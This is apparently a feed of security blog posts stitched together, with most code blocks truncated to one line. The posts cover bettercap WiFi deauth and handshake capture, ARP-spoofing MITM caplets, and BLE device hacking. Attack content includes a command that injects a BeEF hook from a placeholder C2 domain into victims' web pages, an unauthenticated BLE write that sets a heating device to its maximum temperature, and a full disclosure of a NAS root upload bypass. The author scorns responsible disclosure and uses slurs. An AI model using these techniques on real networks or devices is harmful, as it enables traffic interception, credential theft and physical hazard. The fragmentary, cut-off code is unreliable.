Let’s set the bluetooth name of your device by editing /etc/bluetooth/main.conf
and finally edit the btnap configuration file itself, /etc/btnap.conf
:
1 | MODE="server" |
Enable all the services at boot and restart them:
1 | systemctl enable bluetooth |
Before being able to connect via bluetooth, we need to manually pair and trust the device we’re going to use (remember to repeat this step for every new device you want to allow to connect to the PITA board), make sure your control device (your laptop for instance) has bluetooth enabled and it’s visible, then from the pita:
1 | bluetoothctl |
We’re now ready to “free” the wlan0 interface and use it for more cool stuff, let’s change the file /etc/network/interfaces
to:
1 | auto lo |
From the board now, disable wpa_supplicant and reboot:
1 | service wpa_supplicant disable |
After reboot, you’ll be able to connect to the board via bluetooth.
Your system (this depends on the system you’re using, on most GNU/Linux distributions and Android this is basically automatically detected) should now have a new DHCP based Pita Network
entry in the network manager:
Once connected, you should see a new bnep0
network interface:
You can finally ssh to your PITA board via bluetooth now :)
1 | echo "192.168.20.99 pita" >> /etc/hosts |
IMPORTANT
In order to install bettercap and download the caplet, you will need internet connectivity on the rpi, but we just freed wlan0 for injection, so you’ll either have to plug some ethernet adapter, smartphone in tethering mode, etc on the mini usb port now, or perform these steps while the board is still connected to your WiFi during section 0x01.
Now that we can power our board either from a powerbank or the smartphone itself and we can connect to it via SSH over bluetooth, the next step is to install bettercap itself, we will compile it directly on the PITA, it’ll take a while but it’s very easy:
1 | apt install golang libpcap-dev libnetfilter-queue-dev wget build-essential |
The pita.cap caplet will take care of starting wlan0 in monitor mode, periodically send deauth packets and also sniffing for WPA2 handshakes as they arrive, you can launch it and keep it persistent with something like screen or tmux. It is a basic example of what you can do now, many other functionalities can be found in the caplets repo and generally in the project wiki:
1 | # More info about this caplet: https://twitter.com/evilsocket/status/1021367629901115392 |
To start bettercap with this caplet:
1 | ifconfig wlan0 up |
Just after a few minutes my prototype was able to deauth and capture the handshake of some device:
I hope I did not forget about any step, the btnep part specifically was a little bit tricky to setup, let me know in the comments if something doesn’t work for you and I’ll try to help and fix this writeup, as usual, enjoy!
NOTE 1
It’s important to say that some, if not most of the things I’m about to write are purely subjective and related to my programming habits, they do not necessarily represent so called “best practices” and should not be taken like so. Moreover, I’m still a Go noob, some of the things I’m going to say might just be inaccurate / wrong, in which case feel free to correct me and teach me something new, please :D
NOTE 2
Before we start: I love this language and I already explained why I still consider it a better choice for several applications, but I’m not interested in an opinion war about Go vs Rust, or Go vs whatever … use what you think it’s best for what you have to do: if that’s Rust go for it, if you think it’s binary code you send to the processor by using your nipples to inject faults into some data bus, go for it, both cases, code and let code, life is too short for being a language hipster.
Let’s start from the smallest things to the more serious ones …
Writing mostly apps that run in a terminal emulator, I often find myself printing the status of the parts of the system I’m working on in terms of enabled
/ disabled
(like enabling or disabling one of bettercap’s modules and reporting that information), which means most of the times I need to translate a boolean
variable to a more descriptive string
, in C++ or any other language supporting this operator it would be something like:
1 | bool someEnabledFlagHere = false; |
Unfortunately Go does not support this, which means you end up doing ugly stuff like:
1 | someEnabledFlagHere := false |
And this is basically the most elegant way you have to do it (other that actually having a map[bool]string
just for that …) … is it less convenient? is it more? For me it’s ugly, and when your system is highly modular, repeating this stuff over and over again can considerably increase the size of your code base, basically for no valid reason but the lack of an operator. ¯\_(ツ)_/¯
NOTE Yes, I know you can do this by creating a function or aliasing the string
type, there’s no need to post every possible ugly workaround on the comments, thanks :)
Dear Go experts, I’m really thankful for the code you share and the stuff I manage to learn everyday by reading it, but I don’t think this is of any real use:
1 | // this function adds two integers |
As I do not think that things like these are valid substitutes for documentation, while it looks like this is the standard way gophers document their code (with some exceptions of course), even if it’s about frameworks with thousands of forks and users we’re talking about … not a fan of super detailed documentation myself and this is not necessarily a huge problem if you enjoy digging into the code itself anyway, but if you’re a documentation junkie, be prepared to a continuous disappointment.
I had an interesting conversation on Twitter a few days ago, I was explaining to someone why Go imports look like github URLs:
1 | import "github.com/bettercap/bettercap" |
Or simply what happens when you:
# go get github.com/bettercap/bettercap
Basically, in the simplest Go installation you might possibly use (not using vendor
folders and/or not overriding $GOPATH
), everything (not really but let’s pretend for the sake of simplicity) lives in this arbitrary folder you decided and with which you filled the $GOPATH
variable, let’s say in my case it’s /home/evilsocket/gocode
(well, it actually is). Whenever I either go get
something, or I am importing it and using go get
to automagically download the needed packages, what basically happens on my computer is:
# mkdir -p $GOHOME/src# git clone https://github.com/bettercap/bettercap.git $GOHOME/src/github.com/bettercap/bettercap
Yes, Go actually uses Git repositories for packages, applications and everything Go related … which is very convenient in a way, but it creates a huge problem: as long as you don’t use different tools and / or ugly workarounds (more on this in a bit), everytime you compile a software on a new system which is missing a given package, the master
branch of the repository of that package will be cloned, meaning you’ll potentially have different code every time you compile your project on a new computer even if the code of the application you’re compiling did not change at all (but the master branch of any of the packages did).
Have fun when users will start reporting bugs about third party libraries and you have no idea at which commit the repos where at when they built their version of the software from source ^_^
Yes, yes, yes. You can use stuff like Glide or any other tool that will “freeze” your dependencies to specific commits / tags and use a separate folder for them … but that is an ugly workaround for a terrible design choice, we all know it, it works, but it’s ugly.
Pretty much like using URL redirectors in order to be able to import specific versions of a package … it works, but it’s ugly and maybe somebody might also be concerned about the security implications of that … who’s in control of those redirections? Does this whole mechanism make you feel comfortable with the stuff you’re importing in your code and compiling and running on your computer, maybe as root with sudo? It should not.
When I first heard about Go having reflection and, being used to the concept of reflection from other languages such as Python, Ruby, but also Java, C# and so on, I had so many ideas on how to use it (or, how to use what I thought to be Go’s reflection), like automagically enumerate available 802.11 layer types and build packets out of those, resulting in automatic WiFi fuzzing or something very close to that … it turns out, reflection
is a big word when it comes to Go :D
Yes, given an opaque obj interface{}
you can get its original type and you can also list the fields of a given object, but you can’t do simple stuff like enumerating the objects ( struct
s and generally type
s ) that a given package exports, which might seems trivial, but without it you can’t do stuff like:
dir
in Python.So yeah, reflection is kind of limited compared to other languages … I don’t know about you, but it bothers me …
While most people coming from object oriented languages will complain about the lack of generics in Go, I personally don’t find that a big issue not being a super fan of OOP-at-all-costs myself. Instead, I do think Go object model (which is basically not an object model) is simple and slim, this design is inconsistent with the complexity that generics would add IMO.
NOTEWith this I don't mean "generics == OOP", but just that the majority of developers expecting generics is because they replaced C++ with Go and expect something like templates, or the Java generics ... we can surely talk about the small minority coming from functional languages with generics or whatever, but for my experience those are not statistically relevant.
On the other end, this simplistic object model, which is quite close to just using function pointers and structs in C, makes something else less simple and immediate than the average language.
Let’s say you’re developing a software that has many modules (I like modularity in case that wasn’t clear already :D), all of them derive from the same base object (so you can expect a given interface and handle them transparently) which also needs to have some default functionality already implemented and shared among all derived modules (methods all the derived modules would use so they’re directly implemented in the base object for convenience).
Well, while on other languages you’d have abstract classes, or stuff that is partially implemented (the common and shared methods) and partially only describes an interface (pure virtual
methods):
1 | class BaseObject { |
And eventually your derived object will implement the interface and extend the base structure … it might look like the same or also that this is a more elegant and decoupled approach, but it can get messy quite fast when you try to push Go polymorphism a little bit further than this ( here a more realistic example ).
Building (and crosscompiling) Go apps is incredibly easy, no matter for what platform you’re building it for or from. Using the same Go installation you can compile the same app for Windows, or macOS, or Android or some MIPS device with GNU/Linux if you want, no toolchains needed, no exotic compilers, no OS specific flags to remember, no weird configure
scripts that never really work as we expect them to … HOW COOL IS THAT?! (if you come from the C/C++ world and used to cross compile your stuff a lot, you know this is huge…or if you’re a security consultant who needs to quickly cross compile his agents for both that tasty Windows domain controller and the crappy MIPS IP Cam he infected yesterday).
Well, it happens this is simply not the case if you’re using any native library which was not originally implemented in Go, and you probably will unless you won’t just use Go for “hello world”.
Let’s say your Go project is using libsqlite3
, or libmysql
, or libwhatever
because whoever wrote that neat ORM you’re using in your super fast Go API did not bother reimplementing the whole DB protocol in Go (of course) but just used some nice, default, standard and well tested system library wrapped in a CGO module … so far so good, all languages have some wrapping mechanism for native libraries … and also, all is good as long as you’re just compiling your project for your host system, where libsqlite3.so
, or libmysql.so
, or libwhatever.so
are available via some apt-get install precompiled-swag
thing, but what happens when you have to crosscompile, let’s say, this project for Android? What if the destination system does not have libXXXXXX.so
as default? Of course, you’ll either need that system’s C/C++ toolchain and compile the library yourself, or just find a way to install the compiler direcly on that system and compile everything there (using your Android tablet as a build machine basically). Have fun with that.
Needless to say, if you want / need to support several operating systems and architectures (why you shouldn’t given one of Go biggest strength, as we said, is exactly this?) this adds a huge amount of complexity to your build pipeline, making a Go project at least as complex to cross compile (sometimes, ironically, even more) than just a C/C++ codebase.
For some project of mine at some point I just fully replaced the sqlite
database I was using with JSON files, that allowed me to get rid of the native dependency and have a 100% Go app, which made crosscompilation super easy again ( while this is the hell you’re going to have to manage if you just can’t avoid having native dependencies … sorry about that :/ ).
If your super-smart-self
is now screaming USE STATIC BUILDS!!!! all over (statically compile libraries in order to at least have them -inside- the binary), just don’t. If you compile everything statically with a given version of glibc
the binary will not work on systems with a different glibc
.
If your even-smarter-self
is now screaming USE DOCKER FOR BUILDS!!!!!, find a way to do it correctly for -every- platform and -every- arch and then send me an email :)
If your but-i-kinda-know-go-for-real-self
is about to suggest some exotic glibc
alternative, see requirements for his brother, Mr even-smarter-self
:D
So ok, this is kind of controversial, Go binaries have no ASLR, BUT, given how Go manages memory (and mostly, given it doesn’t have pointer arithmetic) that should not be a security issue, as long as you do not use bindings to native libraries with vulnerabilities, in which case the lack of Go ASLR would make exploitation way easier.
Now, I kind of get Go developers point and I kind of don’t: why adding complexity to the runtime just to protect the runtime from something it is not vulnerable to in the first place? … but considering how often you end up using native libraries (see the previous section of this post :P) just ignoring the problem is not a wise approach regardless IMHO.
There are many other small things I don’t like about Go, but that is also true for every other language I know, so I just focused on the main things and tried to skip stuff like i don't like this syntax X
which is completely subjective (and I do like Go syntax btw). I saw many people, blindly embracing a new language just because it’s trending on GitHub … on one hand, if so many developers decided to use it, there are indeed good reasons (or they’re just compile-anything-to-javascript
hipsters), but the perfect language which is the best option for every possible application does not exist (yet, I still have faith in nipples and fault injection U.U), always better to double check the pros and cons.
The first thing I want to mention is the amazing team that helped me debugging during endless sessions on Windows, or implemented new features that changed the tool radically, or tested, or gave ideas, or reported bugs (on GitHub, not on Twitter -.-) … you guys rock and I am so lucky, thank you.
Let’s get started :D
As who’s following either me or bettercap itself on Twitter probably knows, the biggest change has been in the underlying technology and framework that bettercap relies upon, we switched from a Ruby application, to a compiled Go application and this increased performances tremendously for several reasons.
First, we’re not victims of a GIL anymore, this plus Go’s amazing concurrency mechanisms allowes bettercap 2.0 to run on low end hardware and still keep proxying hundreds of connections per second and forwarding tens of hundres of packets, while the previous version had an average of 5-6 connections/s due to how I/O requests were pooled by the interpreter while locking (aka the GIL sucks, a lot). Long story short, no more unwanted network DoS when performing a MITM attack!! F YEAH! - put cool ninja move here -
Also memory and CPU usage now are extremely optimized, you can run several instances of bettercap on your Raspberry Pi (or laptop, or router, or whatever … quite literally) and your CPU cores won’t even get to 20% unless you’re attacking a huge subnet … you can monitor LAN events in real time, while scanning for WiFi access points, while attacking BLE devices nearby and all at the same time, super fast, on low end hardware … but more on this later.
TL;DR: FU Ruby, Go is amazing, fast and scales exceptionally well.
Needless to say, having a single binary with zero dependencies (or just libpcap.so on some platforms, thing that will be solved with a full static build soon) that you can just drop on a router/server/whatever and run is way better than the whole rubygems/rvm/rubyenv/whateverbs mess, while if you want to update to bleeding edge, all you have to do is install Go and then go get -u github.com/bettercap/bettercap
… how freaking cool is that? :D
Oh … and this new version supports Windows, macOS, Android, Linux (arm, mips, mips64, etc) and soon iOS ^_^
The useful features of the old version have been ported to this new one and you will find them as session modules (really, RTFM, I spent hours writing that shit), so you’ll have net.recon
searching for new hosts on your network while net.probe
will keep probing for new ones, there’s our old friend arp.spoof
with his buddies tcp.proxy
, http.proxy
and https.proxy
(now all proxies are scriptable in Javascript) with some new dhcp6.spoof
friend. You have the net.sniff
er of course, a syn.scan
ner if you need and several other core modules you can use to script your interactive session while the events.stream
will flow in front of you :D
Talking about scripting, as I said proxy modules are easily scriptable in JS:
1 | function onLoad() { |
Also, now we have “caplets”, which are basically like metasploit .rc
files … enough ugly shell scripts because we don’t remember the command line for every attack scenario, now you can save your commands as .cap
files and load them from your interactive session, let’s see a couple of interesting examples :D
http-req-dump.cap
Execute an ARP spoofing attack on the whole network (by default) or on a host (using -eval
as described), intercept HTTP and HTTPS requests with the http.proxy
and https.proxy
modules and dump them using the http-req-dumsp.js
proxy script.
1 | # targeting the whole subnet by default, to make it selective: |
netmon.cap
An example of how to use the ticker
module, use this caplet to monitor activities on your network.
1 | # clear the screen and show data every second |
airodump.cap
Same as netmon.cap
but will monitor for WiFi access points and clients instead of network hosts.
1 | # let's add some api :D |
mitm6.cap
Reroute IPv4 DNS requests by using DHCPv6 replies, start a HTTP server and DNS spoofer for microsoft.com
and google.com
(works against Windows 10 ^_^):
1 | # let's spoof Microsoft and Google ^_^ |
These are just a few basic examples, I strongly encourage you to check the caplets repository.
There’s a brand new wifi.recon
module that will either stick to a channel or perform channel hopping, both for 2.4Ghz and 5.0Ghz frequencies, reporting useful information on what’s going on at the 802.11 layer, the wifi.deauth
module will deauth clients (doh!) while the net.sniff
er will capture WPA2 handshakes (bye bye kismet, airodump, airmon, wifite, etc!). Meanwhile, the ble.recon
will discover every Bluetooth Low Energy device you might want to inspect with ble.enum
or fuzz with ble.write
. Also wifi.fuzz
and ble.fuzz
modules are work in progress, as well as sdr.*
modules and others.
Did I mention that this works on macOS and Windows too? :D Oh, and probably your macOS has a WiFi card capable of monitor mode and frames injection already :D This release is taking everything to the next level, we’re not just in the ethernet, we are everywhere.
I believe this is functionally the biggest change, or at least the one with the biggest potential: we finally have a REST API! Imagine having a mobile client for your bettercap instance running in your dropbox, or simply imagine to develop a mobile application just by launching the Android executable, using the http.server
module itself to serve a web UI and just create a WebView to render it … boom, easy mobile baby! :D
You can read every single bit of information, you can have per IP realtime network statistics, you can send commands, wait for events … the sky is the limit!!! -put evil laugh here-
There's power on that USB ... kismet on a drone ftw pic.twitter.com/CbeeyL0QtZ
— 🦄 (@evilsocket) December 14, 2017
I’m so looking forward to see what users will create with this API, no more ugly Python wrappers, no more parsing complicated log files! F YEAH!!!
Well, that’s it … everything < 2.0.0 is deprecated and not supported anymore, developement moved here and there’s a pretty decent documentation that’ll help you getting started … as usual, enjoy :)
]]>So I wrote ARC.
Of course there are plenty of solutions already that mostly involve the use of pass
, ssh
, git
and various synchronizations hacks, but:
The approach I decided to try is different.
Arc is a manager for your secrets made of arcd
, a RESTful API server written in Go which exposes read and write primitives for encrypted records on a sqlite database file.
And arc
, the client application implemented in html5 and javascript, which runs in every html5 enabled browser and it is served by arcd
itself.
Records are generated, encrypted and decrypted client side only (Arc relies on CryptoJS for its AES encryption and the PRNG) by arc
, which offers an intuitive management system equipped with UI widgets including:
Elements can be created (with optional expiration dates), arranged and edited using arc
and are stored on arcd
safely.
The idea is to use the Arc™ as a single manager for your passwords, encrypted notes, files and -all the secret things here-
while hosting arcd
yourself on some spare hardware like a Raspberry Pi and accessing arc
from every device with a modern browser, so let’s see how to configure it on a Raspberry Pi Zero in order to have a secure and portable setup for your secrets! :D
The following instructions are Raspberry Pi Zero specific, but the same procedure should work on any similar hardware ( like another RPi or the USB Armory for instance ), the RPiZ is just what I found to be more convenient and cheap.
First of all, format a micro sd card and install Raspbian on it as usual (download iso, verify, dd, mount), next we need to apply a few tweaks in order to enable ethernet connectivity over its USB port.
With the RPi boot
partition mounted, edit the /path/to/pi/boot/config.txt
and append:
dtoverlay=dwc2
Then edit /path/to/pi/boot/cmdline.txt
and insert between the rootwait
and the quiet
parameters:
modules-load=dwc2,g_ether
Eventually your cmdline.txt
file will look like this:
dwc_otg.lpm_enable=0 console=serial0,115200 console=tty1 root=PARTUUID=abcdefab-01 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2,g_ether
At last, we need to make Raspbian enable SSH on boot so we’ll be able to connect to it if needed, in order to do this just create an /path/to/pi/boot/ssh
empty file.
Unmount the micro sd, insert it into the RPiZ and plug it to the computer using the USB data port (not the charge one, we don’t need it ;)).
If everything went fine, your computer should now detect a new network interface, in order to connect to it just assign it any static IP address ( on Ubuntu
and similar, set the connection type to Link-Local Only
), restart the interface and the RPiZ should be reachable:
ping raspberrypi.local
Let’s finish the setup of the board, connect to it via SSH:
ssh pi@raspberrypi.local
Expand the filesystem as usual, change the default SSH password, enable private key only SSH authentication, copy your certificate, etc … as for the hardware part, we’re ready :)
The easiest way for now is to build the arcd
server directly on a Raspberry Pi in order to produce an ARMv6
binary, once you installed Go on the RPi (not necessarily the one you’re going to use as the secrets store) just follow the instructions on the repository to compile the server.
Once you compiled it, edit the configuration file:
cd /path/to/arc/repo/arcdcp sample_config.json config.jsonvim config.json
And change the address
field so we’ll be able to connect to the Arc web interface:
1 | { |
Now just copy the arc
folder, the new config.json
file and the ARM compiled arcd
server to the RPiZ:
scp -r arc arcd_arm config.json pi@raspberrypi.local:/home/pi/
SSH to the board and make sure that everything works:
ssh pi@raspberrypi.localmv arcd_arm arcd./arcd -config config.json -app arc
Open the browser and go to http://raspberrypi.local:8080/
, you should now be able to login and use ARC whenever you plug your RPi Zero to the USB port :)
( Make sure to start arcd
at boot by editing /etc/rc.local
or whatever )
It should be obvious, but physically isolated data on dedicated hardware is safer.
All the data is encrypted client side, which means everything that is stored physically on the RPiZ is encrypted with AES
, make sure to use a strong encryption key, the stronger the key, the safer the data will be in case you lose the hardware.
For additional security, you might store the arc.db
server database on a LUKS volume which you will need to manually unlock at boot.
You should generate your own self signed certificate and use it in the tls
configuration of Arc in order to use https instead of http.
DO NOT enable any type of connection sharing from your computer to the RPiZ, we do not want anything from the outside world to reach our secure storage, ideally you should disable the wireless interface too if using the W
model.
Username and password are needed to access the API itself, but they will not decrypt the records, that’s why the encryption key is requested as well. You can login with the same API credentials but different encryption keys, you will create records with a new key and will not be able to decrypt other records that have been created with a different AES key.
Elements can be configured with an expiration date, using it is a good way to remember how old a given password is and have some sort of reminder when it’s time to change it (or just encrypted reminders ^_^).
The project is available on my github as usual, there’s still some work left to do before it reaches the first stable release, but I’m close :)
Stay safe, have fun and …
Yes, it works with smartphones and tablets in OTG mode :)
]]>bleah
with other tools ( cough … radamsa … cough ) and have lots of fun.Oh and this is also because someone asked me some intro on BLE, so yeah, his fault.
For some more detailed (and serious) information, there’s a lot of stuff online already, you know how to Google.
BLE is a cheap and very insecure version of Bluetooth, in which you have no channel hopping (all hail easy sniffing and MITM!) and no builtin protocol security (fuzzing like there’s no tomorrow dudez!), it is mostly used for two reasons:
If you wanna build and sell some IoT-smart-whatever crap, and you wanna do it quickly because your competitor is about to go on the market with the same shit, you take Bluetooth, you strip it from the very few close-to-decent things it has and voilà, you have its retarded little brother which won’t bother the battery too much but will be functional enough to burp random data at you from time to time … easy win, litte R&D efforts, very small production costs.
</rant>
Being the retarded little brother of BT, it doesn’t really take too long to explain how to hack it.
Imagine you have a BT device, which 99% of the times it’s discoverable, on the same frequency and channel, always, that literally burps at you its information ( what it’s called advertisement data, sometimes they also broadcast security tokens, etc … to anyone … ), you connect to it (because 99.999999% of the times it allows anyone to connect) and the device tells you everything you need to know in order to control it, read data from it and write data to it … how kind, isn’t it? :D
You are provided with read and write primitives / channels ( called characteristics
), each one with a specific identifier, some of them are standard and some of them are usually vendor specific, therefore you won’t be able to easily map something like d0611e78-bbb4-4591-a5f8-487910ae4366
to something like Apple Continuity Service
(more on how to solve this problem later).
Rather than this, all the implementation details ( aka: the communication protocol ) are up to the vendor … you see now?
As I was saying yesterday night to Viss, you can approach BLE hacking in two ways.
You can go passive, therefore you’ll need a Ubertooth One to sniff raw BLE packets out of the air and Wireshark to visualize them. In this case you’ll end up performing signal analysis / RE on the raw bitstream you’ve managed to capture, simply try some replay attack or blackbox fuzzing ( aka: throw mutated stuff back at the mother fucker ). As for this first methodology, there’re already plenty of good examples online, it’s just like sniffing TCP, but with BLE.
Or you can go active (the way I like it :D), and that doesn’t require any specific hardware other than a bluetooth dongle which supports BLE, most likely your Linux laptop already does, and exploit those little bastards for what they are, just retarded bluetooth devices. Find the mobile app (they always have one, they’re smart toys after all), reverse it to find the right characteristics to use for your goal and then just blow the thing up. My point is that you’ll end up reversing “something” anyway, so let it be cheap and effective, right?
Let’s start by verifying if your hardware supports BLE by performing a scan ( I’m assuming you are using GNU/Linux, bluez and all the default BT stack utilities are installed, etc ):
sudo hcitool lescan
If it worked, you’ll see an output like:
LE Scan ...AA:BB:CC:DD:EE:FF (unknown)AA:BB:CC:DD:EE:FF STORZ&BICKELAA:BB:CC:DD:EE:FF (unknown)AA:BB:CC:DD:EE:FF (unknown)AA:BB:CC:DD:EE:FF (unknown)AA:BB:CC:DD:EE:FF (unknown)AA:BB:CC:DD:EE:FF (unknown)AA:BB:CC:DD:EE:FF (unknown)AA:BB:CC:DD:EE:FF (unknown)AA:BB:CC:DD:EE:FF [LG] webOS TV OLED55E6V
That means you’re ready to go. Go find the Android application of the device and reverse it, here’s my 1 on 1 on Android reversing and here you will find a few examples of how to use this approach.
I could now explain you how to read advertisement data using hcitool
, how to connect to it using gatttool
and how to enumerate services, characteristics and handles, how to mask flags and translate their bits to permissions, etc … but I made it a little bit easier for you (and for me), so let’s skip this boring stuff ok? :P
BLEAH is a dead easy to use tool, because retarded devices should be dead easy to hack, based on Iah Harvey‘s bluepy
python package.
But let me give you some examples and swag.
Scanning for BTLE devices continuously:
sudo bleah -t0
Connect to a specific device and enumerate all the things:
sudo bleah -b "aa:bb:cc:dd:ee:ff" -e
Write the bytes hello world
to a specific characteristic of the device:
sudo bleah -b "aa:bb:cc:dd:ee:ff" -u "c7d25540-31dd-11e2-81c1-0800200c9a66" -d "hello world"
Hint: there’s a --data-file
argument which is perfect in combination with things like radamsa
… just saying.
As usual the public fork of this tool is on github, now you know and have everything you need to bring chaos in the BLE world, enjoy :D
]]>BTLE is conceptually easy, you’ve got “descriptors”, each one with an unique identifier and each one is arbitrarily used by the vendor for configuration purposes, control of the device, etc by read or write operations. So, first thing first, let’s reverse their mobile application in order to identify interesting descriptors!
Here it is, we can read and write stuff with no authentication whatsoever … so, let’s get evil, shall we? :)
How about writing to:
public static final UUID characteristicTargetTemperatureUUID = UUID.fromString("00000021-4C45-4B43-4942-265A524F5453");
The target temperature ( 190 C in my case ) is multiplied by 10 (don’t ask as someone vigorously pointed out, that’s “pretty common when you don’t have/want floating-point arithmetic, or you want to represent exact values for a certain precision” … it doesn’t really matter for the scope of this blog post, but now we’re all happy) and stored as two bytes, so let’s try to overwrite it with the maximum! -put evil laugh here-
Which should be a limit of 6553.5 Celsius degrees.
BOOM BABY!!! I have no idea what happens if I turn it on now … it’s the only Crafty I have, and it’s not cheap, I’m not going to try, but the options are:
How likely is 1 given there’s no security at all at the BTLE layer? Maybe some hardware security device? If anyone has a spare Crafty to try, let me know …
I can hear people screaming and what about responsible disclosure ?! … I don’t know why people give responsible disclosure for granted to be honest … I do this stuff for fun, if I need to start searching for contacts and wait for replies it becomes a job and it’s not fun anymore … ¯\_(ツ)_/¯
On the info screen of the app, if you tap 5 times on the serial number and put the correct password, it’ll unlock some nice diagnostic menu … this is SHA256(password)
:)
Diagnostic menu options (also controllable via BTLE):
]]>Let’s start with the hardware specs of this sweet little thing:
Not bad at all! right?
Despite they should start shipping the Ubuntu 16.04 models in a few days (?), I decided to buy the Windows version, which means I had to install GNU/Linux from scratch and overcome/fix several hardware issues … since I’m a good guy, let me share with you the correct procedure :D
bootstrap-iso.sh
script against the ISO file.~/bootstrap.iso
file to an USB drive using UNetBootin or whatever you like.DEL
button to enter BIOS and boot from it.This will start the usual GNU/Linux installation procedure.
NOTE: Data on USB Type-C still does not work, but efforts are being made about it, we only need to wait.
After installation and the routine system update, you might want to periodically update the fixes and custom kernel from the repository, in order to do so you should run the gpd-update
script as root, this will take 2-3 hours since the kernel is going to be compiled on the device itself.
If you are running Ubuntu 17.04 as me and are experiencing this issue, you might want to do the following instead:
Make sure apt is not locked and you have internet connectivity first.
sudo rm -rf /usr/src/ansible-gpdpocketsudo git clone https://github.com/cawilliamson/ansible-gpdpocket.git /usr/src/ansible-gpdpocketcd /usr/src/ansible-gpdpocketsudo git reset --hard origin/master
Before you continue, edit the roles/boot/tasks/debian.yml
file and remove this block from it:
- name: install intel-microcode (iso creation = no) apt: name=intel-microcode when: chroot == false tags: - boot
( Don’t worry, you already have Intel microcode installed )
And eventually start the update process itself:
sudo ANSIBLE_NOCOWS=1 ansible-playbook system.yml
After the update is over, reboot and you’re ready to go :)
At this point, you have a quad core Intel cpu, GNU/Linux and an USB 3.0 port, I mean, imagination is the limit!
Personally, I like to have an Anker Astro E7 powerbank connected to the USB Type-C and the hardware I need to the USB 3.0 port (maybe with some USB 3 hub, to have appropriate bandwidth, powered by the same powerbank), then I can attach pretty much whatever I want to it, including an Alfa antenna, an Ubertooth One (great also to have a 2.4Ghz portable spectrum analyzer!) or some SDR card (most of SDR applications will require the full bandwidth of the USB port, which means it’s unlikely you’ll be able to use something else at the same time).
Here’s a very ugly PoC of what I mean, I’m still waiting for a decent USB hub to be delivered by Amazon:
In its simplest form, my portable offensive configuration is:
simple-nat
mode.sudo bettercap --no-spoofing --no-discovery -I YOUR_ALFA_INTERFACE -X
Or, if you feel really evil, you can also have the HTTP proxy inject your BEEF hook to every page:
sudo bettercap ...same as before... --proxy-module injectjs --js-url http://your-beef-c2-domain/hook.js
If you’ll make bettercap save everything to a pcap file, this file will contains the traffic of all the targets and it will potentially become very big, I suggest you to use the USB hub and attach an external drive as well. Then just make bettercap write to it with appropriate command line arguments for offline inspection and credentials harvesting.
sudo bettercap ...same... --sniffer-output /media/your/usbdrive/capture.pcap
… GOODBYE WIFI PINEAPPLE! :D
TL;DR: This device is awesome, expensive, but still, awesome.
Yes the layout is a very weird displaced QWERTY and yes the keys are small … you’ll get used to it unless you have very big hands.
I didn’t try the battery life as I always use the powerbank (the USB devices are draining power, that would kill the internal 7000mAh battery), but people said they achieved 3 hours of intense gaming on Windows, normal use on GNU/Linux should last quite long.
Great definition and the touchscreen helps a lot navigating the menu … actually this is the very first time I find a touch screen to be really useful on Linux :D
Yeah the “mouse” is crap, but usable … as I said, touchscreen FTW!
Expensive, from 500 to 600 USD … it’s a little nice toy but you’ll have to pay for it.
Despite being an Atom, the CPU works great, as long as you don’t spawn 1000000000 apps you’ll do just fine … I mean, if you can run a rogue GSM BTS on a RPi, this hardware is actually more than just fine.
Internal WiFi is super stable and has decent coverage, Bluetooth also works great.
Check …
]]>* Huge improvement on HTTPS parser, now it parses TLS Client Hello messages with SNI extension in order to extract the real hostname....
But what does this actually mean? And how can we protect ourselves from it? (Hint: we can’t, yet)
Let’s take a simple HTTP request to explain the concept, this is a GET request to the index of somesite.com:
GET / HTTP/1.1Host: somesite.comConnection: close
As we all know, once it gets this request the server is able to “understand” what virtual host it’s supposed to serve by reading the Host
header, but what happens when the request is HTTPS and therefore the server can not read the Host header before providing the certificate?
What if server X is hosting multiple domains behind HTTPS? What’s the certificate it should send to the client? Here it comes Server Name Indication ( SNI ) for the rescue!
SNI is a mechanism which has been introduced in TLS as an extension to solve this problem, long story short, during the TLS handshake the client will send the name of the host it wants to connect to ( pretty much like the Host header on HTTP ), this piece of information is going to be transmitted unencrypted ( it has to! ), therefore we can intercept it.
As you can see in the image, by parsing such handshakes, bettercap is now able to tell you exactly what websites the target is browsing even if they’re on HTTPS, while the version before only “assumed” which was the domain by resolving it from the IP (and most of the times, failing miserably to give any useful result).
Very simple, with just a few lines of (bad) code of course!
1 | ... |
Seriously, there’s not much we can do about it right now, which means even if you’re using HTTPS only, the domains you’re browsing are leaked on the network anyway … adios privacy! The only logical thing would be to encrypt the SNI payload as suggested in this document ( tnx to Fabio for the link! ), but I guess we’ll have to wait some time :)
USE A VPN, ESPECIALLY ON PUBLIC NETWORKS FOR F°°°’S SAKE!!!
]]>As you can see … I succeeded :)
Once connected to the NAS through SSH, I realized the whole interface was a PHP application stored on /usr/www/
, but unfortunately the source code was obfuscated:
Printing PHP compilation options and modules revealed what kind of obfuscation was going on, php_screw
:
Lucky me, there’s the php_unscrew tool written by Osama Khalid, I only had to follow the instructions on the repository in order to extract the key and header length from the encrypted files on the NAS, which happened to be d311ea00d301b80c3f00
and 13
.
At this stage, I could read any PHP file running on the NAS, until I found what I’ve been looking for, /usr/www/include/upload.php
which, as you guessed, handles file uploads to the NAS … and here’s all the authentication involved:
1 |
|
TL;DR; As long as you set the kod_name
cookie to any value, the system considers you as authenticated and lets you upload any file to any location on the file system … oh, did I mention that the web server is running as root?
I contacted the vendor on May 11 and initially they seemed to care assuring me an update would have been released in a couple of days … 19 days ellapsed, still no fixes and they’re ignoring my emails now, so I decided to go full disclosure.
1 | #!/usr/bin/python |
8181
of the NAS from untrusted users.Reversing an Android application can be a (relatively) easy and fun way to answer this question, that’s why I decided to write this blog post where I’ll try to explain the basics and give you some of my “tricks” to reverse this stuff faster and more effectively.
I’m not going to go very deep into technical details, you can learn yourself how Android works, how the Dalvik VM works and so forth, this is gonna be a very basic practical guide instead of a post full of theoretical stuff but no really useful contents.
Let’s start! :)
In order to follow this introduction to APK reversing there’re a few prerequisites:
Developer Options
and USB Debugging
enabled on your smartphone.An Android application is packaged as an APK ( Android Package ) file, which is essentially a ZIP file containing the compiled code, the resources, signature, manifest and every other file the software needs in order to run. Being it a ZIP file, we can start looking at its contents using the unzip
command line utility ( or any other unarchiver you use ):
unzip application.apk -d application
Here’s what you will find inside an APK.
/AndroidManifest.xml (file)
This is the binary representation of the XML manifest file describing what permissions the application will request (keep in mind that some of the permissions might be requested at runtime by the app and not declared here), what activities ( GUIs ) are in there, what services ( stuff running in the background with no UI ) and what receivers ( classes that can receive and handle system events such as the device boot or an incoming SMS ).
Once decompiled (more on this later), it’ll look like this:
1 |
|
